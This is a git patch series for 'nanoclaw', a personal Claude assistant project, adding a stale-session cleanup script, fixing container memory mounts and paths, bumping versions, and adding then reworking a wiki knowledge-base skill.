@@ async function runQuery( append: globalClaudeMd, } : undefined, + model: 'sonnet[1m]', allowedTools: [ 'Bash', 'Read', @@ -623,7 +624,10 @@ async function main(): Promise { // Credentials are injected by the host's credential proxy via ANTHROPIC_BASE_URL. // No real secrets exist in the container environment. - const sdkEnv: Record = { ...process.env }; + const sdkEnv: Record = { + ...process.env, + CLAUDE_CODE_AUTO_COMPACT_WINDOW: '200000', + }; const __dirname = path.dirname(fileURLToPath(import.meta.url)); const mcpServerPath = path.join(__dirname, 'ipc-mcp-stdio.js'); From 8a02170b21d0bc1ab785c74cd121f750c36375fe Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 4 Apr 2026 20:47:36 +0000 Subject: [PATCH 030/485] chore: bump version to 1.2.48 --- package-lock.json | 4 ++-- package.json | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/package-lock.json b/package-lock.json index ae2ccf5..0766f34 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,12 +1,12 @@ { "name": "nanoclaw", - "version": "1.2.47", + "version": "1.2.48", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "nanoclaw", - "version": "1.2.47", + "version": "1.2.48", "dependencies": { "@onecli-sh/sdk": "^0.2.0", "better-sqlite3": "11.10.0", diff --git a/package.json b/package.json index 2cee595..da8116a 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "nanoclaw", - "version": "1.2.47", + "version": "1.2.48", "description": "Personal Claude assistant. Lightweight, secure, customizable.", "type": "module", "main": "dist/index.js", From 9019e4e3b88172ccb443b7dea330b444590d0fda Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 4 Apr 2026 20:47:43 +0000 Subject: [PATCH 031/485] =?UTF-8?q?docs:=20update=20token=20count=20to=204?= =?UTF-8?q?3.5k=20tokens=20=C2=B7=2022%=20of=20context=20window?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- repo-tokens/badge.svg | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/repo-tokens/badge.svg b/repo-tokens/badge.svg index 756409d..bbb49e6 100644 --- a/repo-tokens/badge.svg +++ b/repo-tokens/badge.svg @@ -1,5 +1,5 @@ - - 43.4k tokens, 22% of context window + + 43.5k tokens, 22% of context window @@ -15,8 +15,8 @@ tokens - - 43.4k + + 43.5k From 67020f9fbff1e6b979fa38bb5653f34953f316d4 Mon Sep 17 00:00:00 2001 From: Gavriel Cohen Date: Sun, 5 Apr 2026 00:03:00 +0300 Subject: [PATCH 032/485] feat: auto-prune stale session artifacts on startup + daily MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Session files (JSONLs, debug logs, todos, telemetry, group logs) accumulate unboundedly — especially from daily cron tasks. This adds a cleanup script that prunes old artifacts while protecting active sessions (read from DB), and wires it into the main process on a 24h interval. Co-Authored-By: Claude Opus 4.6 (1M context) --- scripts/cleanup-sessions.sh | 150 ++++++++++++++++++++++++++++++++++++ src/index.ts | 2 + src/session-cleanup.ts | 25 ++++++ 3 files changed, 177 insertions(+) create mode 100755 scripts/cleanup-sessions.sh create mode 100644 src/session-cleanup.ts diff --git a/scripts/cleanup-sessions.sh b/scripts/cleanup-sessions.sh new file mode 100755 index 0000000..cf03fe0 --- /dev/null +++ b/scripts/cleanup-sessions.sh @@ -0,0 +1,150 @@ +#!/bin/bash +# +# Prune stale session artifacts (JSONLs, debug logs, todos, telemetry, group logs). +# Safe to run while NanoClaw is live — active sessions are read from the DB. +# +# Usage: ./scripts/cleanup-sessions.sh [--dry-run] +# +# Retention: +# Session JSONLs + tool-results: 7 days (active session always kept) +# Debug logs: 3 days +# Todo files: 3 days +# Telemetry: 7 days +# Group logs: 7 days + +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" +PROJECT_ROOT="$(dirname "$SCRIPT_DIR")" + +STORE_DB="$PROJECT_ROOT/store/messages.db" +SESSIONS_DIR="$PROJECT_ROOT/data/sessions" +GROUPS_DIR="$PROJECT_ROOT/groups" + +DRY_RUN=false +[[ "${1:-}" == "--dry-run" ]] && DRY_RUN=true + +TOTAL_FREED=0 + +log() { echo "[cleanup] $*"; } + +remove() { + local target="$1" + if $DRY_RUN; then + if [ -d "$target" ]; then + size=$(du -sk "$target" 2>/dev/null | cut -f1) + else + size=$(stat -f%z "$target" 2>/dev/null || echo 0) + size=$((size / 1024)) + fi + TOTAL_FREED=$((TOTAL_FREED + size)) + log "would remove: $target (${size}K)" + else + if [ -d "$target" ]; then + size=$(du -sk "$target" 2>/dev/null | cut -f1) + rm -rf "$target" + else + size=$(stat -f%z "$target" 2>/dev/null || echo 0) + size=$((size / 1024)) + rm -f "$target" + fi + TOTAL_FREED=$((TOTAL_FREED + size)) + fi +} + +# --- Collect active session IDs from the database --- + +if [ ! -f "$STORE_DB" ]; then + log "ERROR: database not found at $STORE_DB" + exit 1 +fi + +ACTIVE_IDS=$(sqlite3 "$STORE_DB" "SELECT session_id FROM sessions;" 2>/dev/null || true) + +is_active() { + echo "$ACTIVE_IDS" | grep -qF "$1" +} + +# --- Prune session JSONLs and tool-results dirs --- + +for group_dir in "$SESSIONS_DIR"/*/; do + [ -d "$group_dir" ] || continue + jsonl_dir="$group_dir/.claude/projects/-workspace-group" + [ -d "$jsonl_dir" ] || continue + + for jsonl in "$jsonl_dir"/*.jsonl; do + [ -f "$jsonl" ] || continue + id=$(basename "$jsonl" .jsonl) + + # Never delete the active session + if is_active "$id"; then + continue + fi + + # Only delete if older than 7 days + if [ -n "$(find "$jsonl" -mtime +7 2>/dev/null)" ]; then + remove "$jsonl" + # Remove matching tool-results directory + [ -d "$jsonl_dir/$id" ] && remove "$jsonl_dir/$id" + fi + done +done + +# --- Prune debug logs (>3 days, skip files named after active sessions) --- + +for group_dir in "$SESSIONS_DIR"/*/; do + debug_dir="$group_dir/.claude/debug" + [ -d "$debug_dir" ] || continue + find "$debug_dir" -type f -mtime +3 ! -name "latest" -print0 2>/dev/null | while IFS= read -r -d '' f; do + fname=$(basename "$f" .txt) + is_active "$fname" && continue + remove "$f" + done +done + +# --- Prune todo files (>3 days, skip files named after active sessions) --- + +for group_dir in "$SESSIONS_DIR"/*/; do + todos_dir="$group_dir/.claude/todos" + [ -d "$todos_dir" ] || continue + find "$todos_dir" -type f -mtime +3 -print0 2>/dev/null | while IFS= read -r -d '' f; do + fname=$(basename "$f" .json) + # Todo filenames are like {session_id}-agent-{session_id}.json + for aid in $ACTIVE_IDS; do + if [[ "$fname" == *"$aid"* ]]; then + continue 2 + fi + done + remove "$f" + done +done + +# --- Prune telemetry (>7 days, skip files named after active sessions) --- + +for group_dir in "$SESSIONS_DIR"/*/; do + telem_dir="$group_dir/.claude/telemetry" + [ -d "$telem_dir" ] || continue + find "$telem_dir" -type f -mtime +7 -print0 2>/dev/null | while IFS= read -r -d '' f; do + fname=$(basename "$f") + for aid in $ACTIVE_IDS; do + if [[ "$fname" == *"$aid"* ]]; then + continue 2 + fi + done + remove "$f" + done +done + +# --- Prune group logs (>7 days) --- + +find "$GROUPS_DIR"/*/logs -type f -mtime +7 -print0 2>/dev/null | while IFS= read -r -d '' f; do + remove "$f" +done + +# --- Summary --- + +if $DRY_RUN; then + log "DRY RUN complete — would free ~${TOTAL_FREED}K" +else + log "Done — freed ~${TOTAL_FREED}K" +fi diff --git a/src/index.ts b/src/index.ts index a6b74cf..004764d 100644 --- a/src/index.ts +++ b/src/index.ts @@ -61,6 +61,7 @@ import { loadSenderAllowlist, shouldDropMessage, } from './sender-allowlist.js'; +import { startSessionCleanup } from './session-cleanup.js'; import { startSchedulerLoop } from './task-scheduler.js'; import { Channel, NewMessage, RegisteredGroup } from './types.js'; import { logger } from './logger.js'; @@ -746,6 +747,7 @@ async function main(): Promise { } }, }); + startSessionCleanup(); queue.setProcessMessagesFn(processGroupMessages); recoverPendingMessages(); startMessageLoop().catch((err) => { diff --git a/src/session-cleanup.ts b/src/session-cleanup.ts new file mode 100644 index 0000000..feb507c --- /dev/null +++ b/src/session-cleanup.ts @@ -0,0 +1,25 @@ +import { execFile } from 'child_process'; +import path from 'path'; + +import { logger } from './logger.js'; + +const CLEANUP_INTERVAL = 24 * 60 * 60 * 1000; // 24 hours +const SCRIPT_PATH = path.resolve(process.cwd(), 'scripts/cleanup-sessions.sh'); + +function runCleanup(): void { + execFile('/bin/bash', [SCRIPT_PATH], { timeout: 60_000 }, (err, stdout) => { + if (err) { + logger.error({ err }, 'Session cleanup failed'); + return; + } + const summary = stdout.trim().split('\n').pop(); + if (summary) logger.info(summary); + }); +} + +export function startSessionCleanup(): void { + // Run once at startup (delayed 30s to not compete with init) + setTimeout(runCleanup, 30_000); + // Then every 24 hours + setInterval(runCleanup, CLEANUP_INTERVAL); +} From d4a6b4a3b5dc14a3587b2670df39111fdfdd26f1 Mon Sep 17 00:00:00 2001 From: Gavriel Cohen Date: Sun, 5 Apr 2026 00:09:28 +0300 Subject: [PATCH 033/485] fix: portable stat and subshell variable mutation in cleanup script - Replace macOS-only `stat -f%z` with portable `wc -c` for Linux compat - Replace `find | while` pipes with process substitution so TOTAL_FREED counter survives the loop (pipe runs in subshell, losing mutations) Co-Authored-By: Claude Opus 4.6 (1M context) --- scripts/cleanup-sessions.sh | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/scripts/cleanup-sessions.sh b/scripts/cleanup-sessions.sh index cf03fe0..10e509c 100755 --- a/scripts/cleanup-sessions.sh +++ b/scripts/cleanup-sessions.sh @@ -34,7 +34,7 @@ remove() { if [ -d "$target" ]; then size=$(du -sk "$target" 2>/dev/null | cut -f1) else - size=$(stat -f%z "$target" 2>/dev/null || echo 0) + size=$(wc -c < "$target" 2>/dev/null || echo 0) size=$((size / 1024)) fi TOTAL_FREED=$((TOTAL_FREED + size)) @@ -44,7 +44,7 @@ remove() { size=$(du -sk "$target" 2>/dev/null | cut -f1) rm -rf "$target" else - size=$(stat -f%z "$target" 2>/dev/null || echo 0) + size=$(wc -c < "$target" 2>/dev/null || echo 0) size=$((size / 1024)) rm -f "$target" fi @@ -95,11 +95,11 @@ done for group_dir in "$SESSIONS_DIR"/*/; do debug_dir="$group_dir/.claude/debug" [ -d "$debug_dir" ] || continue - find "$debug_dir" -type f -mtime +3 ! -name "latest" -print0 2>/dev/null | while IFS= read -r -d '' f; do + while IFS= read -r -d '' f; do fname=$(basename "$f" .txt) is_active "$fname" && continue remove "$f" - done + done < <(find "$debug_dir" -type f -mtime +3 ! -name "latest" -print0 2>/dev/null) done # --- Prune todo files (>3 days, skip files named after active sessions) --- @@ -107,7 +107,7 @@ done for group_dir in "$SESSIONS_DIR"/*/; do todos_dir="$group_dir/.claude/todos" [ -d "$todos_dir" ] || continue - find "$todos_dir" -type f -mtime +3 -print0 2>/dev/null | while IFS= read -r -d '' f; do + while IFS= read -r -d '' f; do fname=$(basename "$f" .json) # Todo filenames are like {session_id}-agent-{session_id}.json for aid in $ACTIVE_IDS; do @@ -116,7 +116,7 @@ for group_dir in "$SESSIONS_DIR"/*/; do fi done remove "$f" - done + done < <(find "$todos_dir" -type f -mtime +3 -print0 2>/dev/null) done # --- Prune telemetry (>7 days, skip files named after active sessions) --- @@ -124,7 +124,7 @@ done for group_dir in "$SESSIONS_DIR"/*/; do telem_dir="$group_dir/.claude/telemetry" [ -d "$telem_dir" ] || continue - find "$telem_dir" -type f -mtime +7 -print0 2>/dev/null | while IFS= read -r -d '' f; do + while IFS= read -r -d '' f; do fname=$(basename "$f") for aid in $ACTIVE_IDS; do if [[ "$fname" == *"$aid"* ]]; then @@ -132,14 +132,14 @@ for group_dir in "$SESSIONS_DIR"/*/; do fi done remove "$f" - done + done < <(find "$telem_dir" -type f -mtime +7 -print0 2>/dev/null) done # --- Prune group logs (>7 days) --- -find "$GROUPS_DIR"/*/logs -type f -mtime +7 -print0 2>/dev/null | while IFS= read -r -d '' f; do +while IFS= read -r -d '' f; do remove "$f" -done +done < <(find "$GROUPS_DIR"/*/logs -type f -mtime +7 -print0 2>/dev/null) # --- Summary --- From b752e5cd34fc9b88c7645cc04de991ff4368f2b9 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 4 Apr 2026 21:11:00 +0000 Subject: [PATCH 034/485] chore: bump version to 1.2.49 --- package-lock.json | 4 ++-- package.json | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/package-lock.json b/package-lock.json index 0766f34..a442f15 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,12 +1,12 @@ { "name": "nanoclaw", - "version": "1.2.48", + "version": "1.2.49", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "nanoclaw", - "version": "1.2.48", + "version": "1.2.49", "dependencies": { "@onecli-sh/sdk": "^0.2.0", "better-sqlite3": "11.10.0", diff --git a/package.json b/package.json index da8116a..7b322b5 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "nanoclaw", - "version": "1.2.48", + "version": "1.2.49", "description": "Personal Claude assistant. Lightweight, secure, customizable.", "type": "module", "main": "dist/index.js", From cbb4da19c7e1bfa129b05d480f5b263ae18bb421 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 4 Apr 2026 21:11:04 +0000 Subject: [PATCH 035/485] =?UTF-8?q?docs:=20update=20token=20count=20to=204?= =?UTF-8?q?3.7k=20tokens=20=C2=B7=2022%=20of=20context=20window?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- repo-tokens/badge.svg | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/repo-tokens/badge.svg b/repo-tokens/badge.svg index bbb49e6..52e70b4 100644 --- a/repo-tokens/badge.svg +++ b/repo-tokens/badge.svg @@ -1,5 +1,5 @@ - - 43.5k tokens, 22% of context window + + 43.7k tokens, 22% of context window @@ -15,8 +15,8 @@ tokens - - 43.5k + + 43.7k From 761d3a1b306ad2b52af067957c0c51029b6c51ed Mon Sep 17 00:00:00 2001 From: gavrielc Date: Sun, 5 Apr 2026 00:22:13 +0300 Subject: [PATCH 036/485] feat: add migrated_from_openclaw field to setup diagnostics Tracks whether users came through the OpenClaw migration path during setup. Co-Authored-By: Claude Opus 4.6 (1M context) --- .claude/skills/setup/diagnostics.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/.claude/skills/setup/diagnostics.md b/.claude/skills/setup/diagnostics.md index c6a42db..26d79b1 100644 --- a/.claude/skills/setup/diagnostics.md +++ b/.claude/skills/setup/diagnostics.md @@ -9,6 +9,8 @@ uname -m node -p "process.versions.node.split('.')[0]" ``` +Check if the user migrated from OpenClaw during this setup session (i.e. `/migrate-from-openclaw` was invoked). If you're unsure (e.g. after context compaction), check for `migration-state.md` in the project root — it exists during and sometimes after migration. + Write `/tmp/nanoclaw-diagnostics.json`. No paths, usernames, hostnames, or IP addresses. ```json @@ -23,6 +25,7 @@ Write `/tmp/nanoclaw-diagnostics.json`. No paths, usernames, hostnames, or IP ad "arch": "arm64", "node_major_version": 22, "channels_selected": ["telegram", "whatsapp"], + "migrated_from_openclaw": false, "error_count": 0, "failed_step": null } From 3703c9decb52ec6be289e3b72155353a63d751e5 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Sun, 5 Apr 2026 00:28:14 +0300 Subject: [PATCH 037/485] feat: suggest /migrate-nanoclaw when user is far behind upstream Co-Authored-By: Claude Opus 4.6 (1M context) --- .claude/skills/update-nanoclaw/SKILL.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.claude/skills/update-nanoclaw/SKILL.md b/.claude/skills/update-nanoclaw/SKILL.md index 496d409..76bfcba 100644 --- a/.claude/skills/update-nanoclaw/SKILL.md +++ b/.claude/skills/update-nanoclaw/SKILL.md @@ -112,6 +112,8 @@ Bucket the upstream changed files: - **Build/config** (`package.json`, `package-lock.json`, `tsconfig*.json`, `container/`, `launchd/`): review needed - **Other**: docs, tests, misc +**Large drift check:** If the upstream commit count and age suggest the user has a lot of catching up to do, mention that `/migrate-nanoclaw` might be a better fit — it extracts customizations and reapplies them on clean upstream instead of merging. Offer it as an option but don't push. + Present these buckets to the user and ask them to choose one path using AskUserQuestion: - A) **Full update**: merge all upstream changes - B) **Selective update**: cherry-pick specific upstream commits From 22ab96ccac76457ca2a90e45f40b19e5503f93c8 Mon Sep 17 00:00:00 2001 From: Sargun Vohra Date: Sat, 4 Apr 2026 21:01:09 -0700 Subject: [PATCH 038/485] fix: correct global memory path in container CLAUDE.md The documented path /workspace/project/groups/global/CLAUDE.md doesn't match the actual mount point /workspace/global. This caused agents to look for global memory at a nonexistent path. Co-Authored-By: Claude Opus 4.6 (1M context) --- groups/main/CLAUDE.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/groups/main/CLAUDE.md b/groups/main/CLAUDE.md index a94c004..de934f2 100644 --- a/groups/main/CLAUDE.md +++ b/groups/main/CLAUDE.md @@ -258,7 +258,7 @@ Read `/workspace/project/data/registered_groups.json` and format it nicely. ## Global Memory -You can read and write to `/workspace/project/groups/global/CLAUDE.md` for facts that should apply to all groups. Only update global memory when explicitly asked to "remember this globally" or similar. +You can read and write to `/workspace/global/CLAUDE.md` for facts that should apply to all groups. Only update global memory when explicitly asked to "remember this globally" or similar. --- From 1488c5b251bc06d4c72483cce38984b7264d57e6 Mon Sep 17 00:00:00 2001 From: Sargun Vohra Date: Sat, 4 Apr 2026 21:11:48 -0700 Subject: [PATCH 039/485] fix: add writable global memory mount for main agent Main group had no mount for the global memory directory (/workspace/global), so it could only reach it through the read-only project root. This meant the main agent couldn't write to global memory despite groups/main/CLAUDE.md instructing it to do so. Add a writable mount at /workspace/global for the isMain branch, matching the read-only mount that non-main groups already have. Co-Authored-By: Claude Opus 4.6 (1M context) --- src/container-runner.ts | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/src/container-runner.ts b/src/container-runner.ts index 31efa96..dafa143 100644 --- a/src/container-runner.ts +++ b/src/container-runner.ts @@ -104,6 +104,16 @@ function buildVolumeMounts( containerPath: '/workspace/group', readonly: false, }); + + // Global memory directory — writable for main so it can update shared context + const globalDir = path.join(GROUPS_DIR, 'global'); + if (fs.existsSync(globalDir)) { + mounts.push({ + hostPath: globalDir, + containerPath: '/workspace/global', + readonly: false, + }); + } } else { // Other groups only get their own folder mounts.push({ From 36943fbcfd8b58a792562242b3de3252e5303a3a Mon Sep 17 00:00:00 2001 From: gavrielc Date: Sun, 5 Apr 2026 09:58:40 +0300 Subject: [PATCH 040/485] feat: add /add-wiki skill for persistent LLM Wiki knowledge bases MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Container skill teaches the agent to maintain a structured, interlinked wiki from ingested sources. Feature skill bootstraps the setup — directory structure, group CLAUDE.md, optional scheduled lint. Based on Karpathy's LLM Wiki pattern. Co-Authored-By: Claude Opus 4.6 (1M context) --- .claude/skills/add-wiki/SKILL.md | 114 +++++++++++++++++++++++++++++++ container/skills/wiki/SKILL.md | 67 ++++++++++++++++++ 2 files changed, 181 insertions(+) create mode 100644 .claude/skills/add-wiki/SKILL.md create mode 100644 container/skills/wiki/SKILL.md diff --git a/.claude/skills/add-wiki/SKILL.md b/.claude/skills/add-wiki/SKILL.md new file mode 100644 index 0000000..4c6a20b --- /dev/null +++ b/.claude/skills/add-wiki/SKILL.md @@ -0,0 +1,114 @@ +--- +name: add-wiki +description: Add a persistent wiki knowledge base to a NanoClaw group. The agent ingests sources (URLs, files, attachments), builds interlinked wiki pages, answers questions from accumulated knowledge, and runs periodic health checks. Based on the LLM Wiki pattern. Triggers on "add wiki", "wiki", "knowledge base", "llm wiki". +--- + +# Add Wiki + +Adds a persistent wiki knowledge base to a NanoClaw group. The agent builds and maintains structured, interlinked markdown pages from sources you provide. Knowledge compounds over time rather than being re-derived on every question. + +Based on the [LLM Wiki pattern](https://gist.github.com/karpathy/442a6bf555914893e9891c11519de94f). + +## Phase 1: Pre-flight + +Check if `container/skills/wiki/SKILL.md` exists. If it does, skip to Phase 3. + +## Phase 2: Apply Code Changes + +```bash +git fetch origin skill/wiki +git merge origin/skill/wiki +``` + +If merge conflicts, resolve them. Then: + +```bash +npm run build +./container/build.sh +``` + +## Phase 3: Setup + +### Choose target group + +AskUserQuestion: "Which group should have the wiki?" + +1. **Main group** — add wiki to your existing main chat +2. **Dedicated wiki group** — create a new group just for the wiki (recommended for focused research) +3. **Other** — pick an existing group + +If dedicated: ask which channel and chat to use, then register with `npx tsx setup/index.ts --step register`. + +### Wiki topic + +Ask the user: "What's this wiki for?" (e.g. AI research, health tracking, competitive analysis, trip planning, book companion, general knowledge base) + +This shapes the initial index categories and the CLAUDE.md additions. + +### Create directory structure + +In the target group folder: + +```bash +mkdir -p groups//wiki groups//sources +``` + +Create initial `wiki/index.md`: + +```markdown +# Index + +_Last updated: _ + +(Pages will appear here as sources are added.) +``` + +Create initial `wiki/log.md`: + +```markdown +# Log + +## [] setup | Wiki initialized +Wiki created. Topic: . +``` + +### Update group CLAUDE.md + +Add a wiki section to the group's CLAUDE.md. Keep it brief — the container skill has the full workflow: + +```markdown +## Wiki + +You maintain a persistent wiki on . When sources arrive (URLs, files, attachments), ingest them into the wiki — don't just answer and move on. The `/wiki` container skill has the full ingest/query/lint workflow. + +- Wiki pages: `wiki/` (start with `wiki/index.md`) +- Raw sources: `sources/` (immutable — never modify) +``` + +### Optional: Schedule lint + +AskUserQuestion: "Want periodic wiki health checks?" + +1. **Weekly** — every Sunday at 10am +2. **Monthly** — first of each month +3. **Skip** — lint manually when needed + +If yes, use `mcp__nanoclaw__schedule_task`: +- prompt: "Run a wiki lint. Check for contradictions, orphan pages, stale content, missing cross-references, and gaps. Report findings." +- schedule_type: "cron" +- schedule_value: `"0 10 * * 0"` (weekly) or `"0 10 1 * *"` (monthly) + +### Optional: Obsidian + +If the user uses Obsidian, mention they can point a vault at `groups//` for graph view, backlinks, and visual browsing. The wiki is just markdown files on disk. + +## Phase 4: Verify + +Restart the service to pick up the new container skill: + +```bash +launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS +# Linux: systemctl --user restart nanoclaw +``` + +Tell the user to test: send a URL to the wiki group. The agent should ingest it, create wiki pages, and update the index. diff --git a/container/skills/wiki/SKILL.md b/container/skills/wiki/SKILL.md new file mode 100644 index 0000000..a390a51 --- /dev/null +++ b/container/skills/wiki/SKILL.md @@ -0,0 +1,67 @@ +--- +name: wiki +description: Maintain a persistent wiki knowledge base. Ingest sources (URLs, files, attachments), build and update interlinked wiki pages, answer questions from the wiki, and run periodic health checks. Use when the user sends sources to add, asks questions the wiki can answer, or requests wiki maintenance. +--- + +# Wiki Knowledge Base + +You maintain a persistent wiki in your workspace. The wiki sits between you and raw sources — when new material arrives, you read it and integrate it into structured, interlinked pages. Knowledge compounds over time rather than being re-derived on every question. + +## Directory Structure + +``` +wiki/ # LLM-generated pages (you own this entirely) + index.md # Content catalog — updated on every ingest + log.md # Append-only activity log + ... # Entity pages, concept pages, comparisons, syntheses +sources/ # Raw immutable material (never modify these) + ... # Fetched articles, clipped pages, uploaded files +``` + +## Operations + +### Ingest + +When the user sends a URL, file, or says to add something: + +1. Fetch or read the source material +2. Save a copy to `sources/` (URLs: fetch and save as markdown; files: copy as-is) +3. Discuss key takeaways with the user +4. Create or update wiki pages — summaries, entity pages, concept pages, cross-references +5. Flag contradictions with existing wiki content +6. Update `index.md` with new and changed pages +7. Append to `log.md` + +A single source often touches many wiki pages. Prefer ingesting one source at a time with user involvement, though batch ingestion works for bulk imports. + +### Query + +When the user asks a question: + +1. Read `index.md` to locate relevant pages +2. Read those pages and synthesize an answer +3. Cite which wiki pages informed the answer +4. If the answer is substantial, offer to file it back as a new wiki page — explorations should compound in the wiki, not disappear into chat history + +### Lint + +When asked to health-check the wiki (or triggered by a scheduled task): + +- Contradictions between pages +- Stale claims superseded by newer sources +- Orphan pages with no inbound links +- Important concepts that lack dedicated pages +- Missing cross-references +- Data gaps — suggest sources to pursue + +Report findings and offer to fix issues. + +## Conventions + +- Markdown with YAML frontmatter (`date_created`, `last_updated`, `sources`, `tags`) +- Link between pages with relative markdown links: `[Page Title](page-title.md)` +- One entity or concept per page — split pages over ~500 lines +- `index.md`: organized by category, each entry is `- [Page Title](path.md) — one-line summary` +- `log.md`: append-only, each entry starts with `## [YYYY-MM-DD] | ` + +These are defaults. Adapt the structure to the domain — the user's wiki, their conventions. From 54bf4543f27f7d2152e4e5eaacc82788682e6d9d Mon Sep 17 00:00:00 2001 From: gavrielc Date: Sun, 5 Apr 2026 10:07:48 +0300 Subject: [PATCH 041/485] refactor: rework wiki skill to use Karpathy's original text as reference Remove pre-written container skill. Instead, include llm-wiki.md (Karpathy's gist) as the reference material and have the setup skill guide the user through collaboratively building their own wiki schema, container skill, and directory structure based on the pattern. Add NanoClaw-specific notes: image vision, PDF reader, voice transcription, curl for full document fetch, file attachment handling. Co-Authored-By: Claude Opus 4.6 (1M context) --- .claude/skills/add-wiki/SKILL.md | 161 ++++++++++++---------------- .claude/skills/add-wiki/llm-wiki.md | 75 +++++++++++++ container/skills/wiki/SKILL.md | 67 ------------ 3 files changed, 144 insertions(+), 159 deletions(-) create mode 100644 .claude/skills/add-wiki/llm-wiki.md delete mode 100644 container/skills/wiki/SKILL.md diff --git a/.claude/skills/add-wiki/SKILL.md b/.claude/skills/add-wiki/SKILL.md index 4c6a20b..afaa678 100644 --- a/.claude/skills/add-wiki/SKILL.md +++ b/.claude/skills/add-wiki/SKILL.md @@ -1,114 +1,91 @@ --- name: add-wiki -description: Add a persistent wiki knowledge base to a NanoClaw group. The agent ingests sources (URLs, files, attachments), builds interlinked wiki pages, answers questions from accumulated knowledge, and runs periodic health checks. Based on the LLM Wiki pattern. Triggers on "add wiki", "wiki", "knowledge base", "llm wiki". +description: Add a persistent wiki knowledge base to a NanoClaw group. Based on Karpathy's LLM Wiki pattern. Triggers on "add wiki", "wiki", "knowledge base", "llm wiki". --- # Add Wiki -Adds a persistent wiki knowledge base to a NanoClaw group. The agent builds and maintains structured, interlinked markdown pages from sources you provide. Knowledge compounds over time rather than being re-derived on every question. +Set up a persistent wiki knowledge base on NanoClaw, based on Karpathy's LLM Wiki pattern. -Based on the [LLM Wiki pattern](https://gist.github.com/karpathy/442a6bf555914893e9891c11519de94f). +## Step 1: Read the pattern -## Phase 1: Pre-flight +Read `${CLAUDE_SKILL_DIR}/llm-wiki.md` — this is the full LLM Wiki idea as written by Karpathy. Understand it thoroughly before proceeding. Summarize the core idea to the user briefly, then discuss what they want to build. -Check if `container/skills/wiki/SKILL.md` exists. If it does, skip to Phase 3. +## Step 2: Choose a group -## Phase 2: Apply Code Changes +AskUserQuestion: "Which group should have the wiki?" + +1. **Main group** — add to your existing main chat +2. **Dedicated group** — create a new group just for the wiki +3. **Other** — pick an existing group + +If dedicated: ask which channel and chat, then register with `npx tsx setup/index.ts --step register`. + +## Step 3: Design collaboratively + +Discuss with the user based on the pattern: +- What's the wiki's domain or topic? +- What kinds of sources will they add? (URLs, PDFs, images, voice notes, books, transcripts) +- Do they want the full three-layer architecture or a lighter version? +- Any specific conventions they care about? (The pattern intentionally leaves this open.) + +Based on this discussion, create three things: + +### 3a. Directory structure + +Create `wiki/` and `sources/` directories in the group folder. Create initial `index.md` and `log.md` per the pattern's Indexing and Logging section. Adapt to the user's domain. + +### 3b. Container skill + +Create a `container/skills/wiki/SKILL.md` tailored to this user's wiki. This is the schema layer from the pattern — it tells the agent how to maintain the wiki. Base it on the pattern's Operations section (ingest, query, lint) and the conventions you agreed on with the user. Don't over-prescribe — the pattern says "your LLM figures out the rest." + +### 3c. Group CLAUDE.md + +Add a wiki section to the group's CLAUDE.md that activates the wiki behavior and points to the container skill. + +## Step 4: Source handling skills + +Check which source-handling capabilities are installed and offer to add missing ones based on what the user plans to ingest: + +| Source type | Skill needed | Check | +|---|---|---| +| Images | `/add-image-vision` | `src/channels/image-vision.ts` or similar exists | +| PDFs | `/add-pdf-reader` | `container/skills/pdf-reader/` exists | +| Voice notes | `/add-voice-transcription` | `container/skills/voice-transcription/` exists | + +For each missing skill the user needs, invoke it. + +### URL handling note + +The agent has built-in `WebFetch`, but it returns a summary, not the full document. For wiki ingestion where the full text matters, the container skill should instruct the agent to use `curl` piped through an HTML-to-text conversion instead: ```bash -git fetch origin skill/wiki -git merge origin/skill/wiki +curl -sL "" | sed 's/<[^>]*>//g' ``` -If merge conflicts, resolve them. Then: +Or better, use `agent-browser` to open the page and extract full text if available. The container skill should note this so the agent gets full content for sources rather than summaries. + +### File attachments + +If the user's channel supports file attachments (WhatsApp documents, Telegram files, Slack uploads), these arrive in the container's workspace. The container skill should note that attached files can be read directly and saved to `sources/`. + +## Step 5: Optional lint schedule + +AskUserQuestion: "Want periodic wiki health checks?" + +1. **Weekly** +2. **Monthly** +3. **Skip** — lint manually + +If yes, schedule via `mcp__nanoclaw__schedule_task` with a prompt based on the pattern's Lint operation. + +## Step 6: Build and restart ```bash npm run build ./container/build.sh -``` - -## Phase 3: Setup - -### Choose target group - -AskUserQuestion: "Which group should have the wiki?" - -1. **Main group** — add wiki to your existing main chat -2. **Dedicated wiki group** — create a new group just for the wiki (recommended for focused research) -3. **Other** — pick an existing group - -If dedicated: ask which channel and chat to use, then register with `npx tsx setup/index.ts --step register`. - -### Wiki topic - -Ask the user: "What's this wiki for?" (e.g. AI research, health tracking, competitive analysis, trip planning, book companion, general knowledge base) - -This shapes the initial index categories and the CLAUDE.md additions. - -### Create directory structure - -In the target group folder: - -```bash -mkdir -p groups//wiki groups//sources 